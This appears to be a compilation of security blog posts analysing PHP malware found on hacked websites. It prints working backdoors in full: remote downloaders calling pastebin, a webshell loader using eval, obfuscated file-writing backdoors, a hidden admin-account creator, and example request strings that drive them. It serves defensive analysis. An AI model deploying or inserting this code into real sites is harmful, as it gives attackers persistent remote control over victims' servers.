Malicious Curl Downloader

If you want to easily download and save remote files, curl is an excellent command-line tool for Windows and Unix. It supports HTTP, HTTPS, and FTP protocols and allows for custom HTTP headers, which makes it a common feature in some of the malware we find on compromised sites.

For example, during a recent cleanup we found this malicious script using curl to download code from pastebin.com and save it into a local file on the website.

<?php 

chmod($_SERVER['DOCUMENT_ROOT']."/wp-load.php", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/index.php", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/.htaccess", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/wp-load.php", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/index.php", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/.htaccess", 0644);

function http_get($url){
    $im = curl_init($url);
    curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($im, CURLOPT_HEADER, 0);
    return curl_exec($im);
    curl_close($im);
}

$hector0 = $_SERVER['DOCUMENT_ROOT'] . "/.htaccess" ;
$hectortxt2 = http_get('hxxps://pastebin.com/raw/VgBTWCqv');
file_put_contents($hector0, $hectortxt2);

$hector777 = $_SERVER['DOCUMENT_ROOT'] . "/index.php" ;
$hectortxt777 = http_get('hxxps://pastebin.com/raw/ELF1BqnD');
$open777 = fopen($hector777, 'w');
fwrite($open777, $hectortxt777);
fclose($open777);

?>

The http_get function initiates curl and downloads the malicious content before file_put_contents is used to save the malicious content into the appropriate file. fwrite was also used for some reason, likely for compatibility purposes.

In this case, the malicious code is downloading additional backdoors and malware — but the pastebin.com file defined here can be easily modified to instruct the malware to download anything the attacker wants.

One of the best methods to prevent and detect the modification of your index.php files is to set up tighter file permissions that restrict write access and employ a file integrity monitoring tool to notify you of any changes. Or, simply use a website firewall to mitigate the compromise in the first place.

Spl_autoload Backdoor

With backdoors, one of the main challenges for malware authors is to execute code without using obvious functions (such as eval, asset, create_function, etc.) that trigger alerts for security scanners.

In the following example found by our security analyst Weston Henry, hackers used the combination of the “spl_autoload_extensions/spl_autoload” functions to execute arbitrary PHP code.

This code was injected at the top of one ecommerce website’s legitimate .php file.

World Health Organization spam image

At first glance, the code looks quite suspicious: “error_reporting” and “pack” keywords are built using character concatenation. There is also a long encrypted string in the code.

Backdoor in a Temporary File

The string unpacks to a more obvious backdoor that eval’s arbitrary base64-encoded PHP code passed in the HTTP_KHFTEX request parameter.

World Health Organization spam image

This backdoor is saved on the compromised server using file_put_contents.

At this point, it seems clear that this newly created file can be used by attackers to execute malicious code on the server whenever they want. The only problem is that the filename is not easily predictable: it uses the mt_rand function with 10,000 possible results, and the directory for temporary PHP files that may vary from server to server. Moreover, files in the temporary directory may be deleted any moment, which makes it not very reliable — even in the midterm.

$tmp_fdel = tempnam(sys_get_temp_dir(),mt_rand(0,9999));

Backdoor Execution via spl_autoload

If hackers don’t know the name of the backdoor file they created, then how do they want to use it? The answer lays in the following two lines of code.

spl_autoload_extensions($tmp_fdel);
spl_autoload('');

The first line registers the name of the created file as a default extension for spl_autoload, and the second line tries to load classes from files with the registered extensions. It may not be clear from the name, but the spl_autoload_extensions function works with fully qualified file paths too.

In this case, PHP tries to load classes from the backdoor file. The file doesn’t actually have any defined classes, but PHP needs to execute its code to figure it out. To avoid the LogicException error, hackers use the exit command at the end of the code.

A temporary backdoor file with a random name is created and automatically executed whenever hackers access the infected legitimate .php file with a set “systems” parameter in the POST request. Immediately after execution, the temporary file is deleted.

Conclusion

In this post, we describe malware that uses the spl_autoload function to hide the execution of arbitrary backdoor code. While it’s a very rare trick, the rest of the code will likely raise a red flag for most serious security scanners. That being said, you shouldn’t depend entirely on the fact that all security scanners will be able to find this malicious code. The best solution to detect this type of behaviour is to set up integrity controls in your environment. With these in place, you’ll notice any file modifications — regardless of the tricks that hackers invent.

Tiny WSO Webshell Loader

A PHP webshell is a common tool found on compromised environments. Attackers use webshells as backdoors, allowing them to maintain unauthorized access to a hacked website.

Bad actors can also use webshells to perform various functions within a single PHP file, which they typically create after their initial exploit of the website. Some of these functions include obtaining sensitive details on a web server’s configuration, file management, SQL connections, and additional backdoor payloads like reverse shells.

It’s usually unnecessary for an attacker to create their own custom PHP webshell. Instead, they often use PHP webshells which are readily available and popular within hacking communities, including WSO, c99, B347K, and r57.

Here's what a WSO PHP webshell loaded within a browser looks like:

PHP Webshell in browser

Since PHP webshells are common on hacked websites, they are susceptible to being detected by server side scanning tools. The capabilities of a PHP webshell also require more code, meaning there’s a larger disk footprint when compared to existing legitimate PHP files used by the website.

Besides their large disk usage, the webshell’s code also contains PHP code that is easy for scanners to detect. For example, when the PHP code contains a FilesMan reference:

session_start();
$password = "";
$passtype = "";
$color = "#df5";
$default_action = 'FilesMan';

This WSO PHP webshell variant contains over 1,900 lines of PHP code in total. Its larger-than-normal file size is a red flag for scanning technologies — leading hackers to leverage methods which prevent them from storing all of the PHP webshell’s code on the hacked website’s file system.

So, what is one method that a hacker can employ to upload a webshell to a hacked website without actually storing the code within the website’s file structure? They can use file_get_contents method, as seen in this small WSO webshell loader found on a hacked website.

session_start<?php
$a = file_get_contents('https://[REDACTED]/files/readme.txt');
eval('?>'.$a);

This method effectively reduces a 1,900+ line PHP webshell into just two lines of PHP code. It simply assigns a variable, $a, with the output of the file_get_contents function which is used to grab the PHP webshell’s source code from a third party location. It then stores it in memory, rather than a file on disk.

Next, the loader uses eval to execute the stored PHP code in the $a variable, loading the webshell without having to store the entire code within the website’s file system.

You may wonder why the PHP webshell’s code exists as a .txt file on the third party website. This is because if it were using its native .php file extension, then the third party website server would execute the PHP webshell’s code rather than downloading the code’s text requested with file_get_contents. This also requires the webshell loader’s eval function to use a closing tag/EOF, preventing syntax errors when loading the webshell PHP code from the third party server.

As webshells operate as a backdoor, they are best detected with file monitoring and the use of a server side scanner. If changes, deletions, or additions to the environment are detected, you’ll be notified of any indicators of compromise.

Extract Function Backdoor Variant

We recently found malware on a client’s WordPress site that was using a variant of a backdoor that we previously covered back in 2014.

The primary difference in this backdoor is that the malware has been formatted so that it is easier to use PHP functions like file_put_contents() to create additional malicious files from code within an attacker’s HTTP request.

A second different characteristic is that the malware requires that the attacker provide a value that will match the MD5 hash defined within the code. If this value is not provided, or if it does not match, then the malware will use die() to stop running and will not proceed. This essentially works as a password so that the malware cannot be used unless the correct ($b) value is known and provided in the HTTP request. That being said, anyone with access to modify the file can simply remove the code checking for the MD5 hash.

The values for the variables ($b, $c, $f, and $a) are provided through the attacker’s HTTP request and passed through the PHP function extract():

<?php
extract($_REQUEST);
if (md5($b) != '21232f297a57a5a743894a0e4a801fc3')
{
   die();
}
$c($f, $a);
include_once $f;
?>

The variable structure $c($f, $a) makes it easy to use file_put_contents (not limited to just this function), which allows an attacker to insert virtually any code into a file.

Finally, the last line of the malicious code uses include_once to load the malicious code that was inserted into a file by the attacker.

One primary example of malicious use includes using file_get_contents() to download a PHP web shell. Another example would be using system() to run arbitrary commands like ls for obtaining directory and file listings.

/sample.php?c=file_put_contents&a=<%3Fphp+system("ls+-lhart")%3B+%3F>&b=admin&f=test.php

PHP Sample

Website owners can use a web application firewall to block malicious requests to this type of injection.

Firewall block page

Backdoor Found in Compromised WordPress Environment

Our security analyst Ben Martin recently came across a backdoor in a compromised WordPress installation that had been injected into the first line of the theme file ./wp-content/themes/flatsome/header.php.

<?php
if(isset($_POST[chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)]) && md5($_POST[chr(108).chr(103).chr(107).chr(102).chr(103).chr(104).chr(100).chr(102).chr(104)]) == chr(101).chr(57).chr(55).chr(56).chr(55).chr(97).chr(100).chr(99).chr(53).chr(50).chr(55).chr(49).chr(99).chr(98).chr(48).chr(102).chr(55).chr(54).chr(53).chr(50).chr(57).chr(52).chr(53).chr(48).chr(51).chr(100).chr(97).chr(51).chr(102).chr(50).chr(100).chr(99)) 
   { $a = chr(109).chr(110);
     $n1 = chr(102).chr(105).chr(108).chr(101).chr(95);
     $n2 = chr(112).chr(117).chr(116).chr(95);
     $n3 = $n1.$n2.chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);
     $b1 = chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
     $b2 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).$b1;
     $z1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
     $z2 = $z1.$b2($_REQUEST[chr(100).chr(49)]);
     $z3 = $b2($_REQUEST[chr(100).chr(49)]);
@$n3($a,$z2);
@include($a);@unlink($a);
$a = chr(47).chr(116).chr(109).chr(112).chr(47).$a;
@$n3($a,$z2);
@include($a);@unlink($a);die();
  } ?>

In this malicious sample, attackers use a well-known method to obfuscate the code called "string concatenation". Through the usage of the PHP function chr(), they store individual decimal values that correlate to the desired ASCII characters — making something like chr(104).chr(105) the equivalent to the ASCII characters for 'hi'.

The beginning of the code has two conditional checks within an if statement that need to be met before the malicious code will be executed:

  1. $_POST parameter with the name asavsdvds must exist in the attacker’s request
  2. $_POST parameter with the name lgkfghdfh must contain a value that whose MD5 hash sum equals e9787adc5271cb0f765294503da3f2dc

When decoded, the following variables show the purpose of this malicious code:

  • $a = mn and later changed to /tmp/mn
  • $n3 = file_put_contents
  • $b2 = base64_decode
  • $z2 = <?php base64_decode($_REQUEST[d1])
  • $n3 = file_put_contents

@$n3($a, $z2);
/*
replacing variables to make it easier to read:
@file_put_contents(mn, base64_decoded value of attacker's 'd1' request)
*/
@include($a);
@unlink($a);

The backdoor uses file_put_contents() to insert PHP code into a file named mn which is delivered to the file through the attacker’s encoded base64 $_REQUEST named d1.

The PHP function include() is used to load the mn file which contains the malicious PHP code delivered by the attacker’s HTTP request. After the mn file coding is included, then it is removed by the PHP function unlink.

The malicious code then repeats the same process — but this time it uses the file location /tmp/mn instead of mn. This is likely done to avoid any possible ownership or permission errors that may occur when using file_put_contents() to generate the file in the attacker’s request.

Since the malicious contents are provided by the attacker in their base64 encoded HTTP request, there’s a number of possibilities as to what PHP code could be getting included in ./wp-content/themes/flatsome/header.php. One example that is easy to demonstrate is passing along a base64 encoded string of the PHP code system(ls);.

Once loaded through the include() function, it will show the attacker the directory file listing.

directory file listing malicious code

The attacker can use a backdoor injection like this to maintain access to the compromised environment to remotely execute code until the injection has been fully removed.

Simple WAF Evasion Backdoor

Our team recently located a malicious PHP file on a compromised website which claims to evade web application firewalls, with the intention of downloading a malicious script to a compromised web-server.

<?php
$a = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$b = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
var_dump($_REQUEST['a']($_REQUEST['b']));
$b($_REQUEST['c'], $a($_REQUEST['d']));
?>

The $a variable contains hexadecimal encoded text for the built-in PHP function file_get_contents which grabs the malicious payload from a third party website.

The $b variable is hexadecimal encoded text for the PHP function file_put_contents, which writes the contents to a file within the compromised environment.

The function var_dump essentially outputs the following _REQUEST variables, which are defined by URL parameters:

a= PHP function
b= function arguments
c= directory path you want to create with the malicious payload
d= location of the malicious payload

An example of these URL parameters in action would be the following URI, where waf.php contains the malicious code.

waf.php?a=system&b=ls+-lhart&c=/var/www/html/wordpress/shell.php&d=https%3A%2F%2Fpastebin.com%2Fraw%2Fh5fBwuqW

example url parameters on a simple waf evasion backdoor

If the website isn’t protected behind a firewall, then the PHP function system is executed along with its argument (in this case ls -lhart) and the malicious payload is downloaded from the defined source to the defined location — all of which is set in the GET request.

This malware tries to be evasive by using the hexadecimal format for its PHP functions of file_get_contents and file_put_contents. More importantly, it allows the attacker to provide the PHP function system through a HTTP GET URL parameter so that it isn’t stored in the file itself. This can help to prevent certain server side malware scanners from detecting it as malicious, since it does nothing without the crafted GET request.

While advertised as a method of bypassing WAFs - it is easily flagged as a RFI/LFI attempt by the Sucuri Firewall.

firewall blocking malicious behavior for backdoor

User adder backdoor

As we’ve seen many times before, there are a variety of backdoors that can be planted on a website. Post-compromise, it's almost mandatory to review the list of users with admin capabilities within the website.

But, what if you check the list, remove a user, and it suddenly reappears again? Could it be a new compromise? Could there still be a backdoor present?

Here’s one of the possible culprits which was found within a theme’s functions.php file:

$createuser = wp_create_user('admin123', 'admin123', 'admin123@gmail.com');
$user_created = new WP_User($createuser);
$user_created -> set_role('administrator');

It’s a very simple piece of code that allows the attacker to maintain access to your website.

This shows how important it is to keep track of the integrity of your files, especially plugins and themes.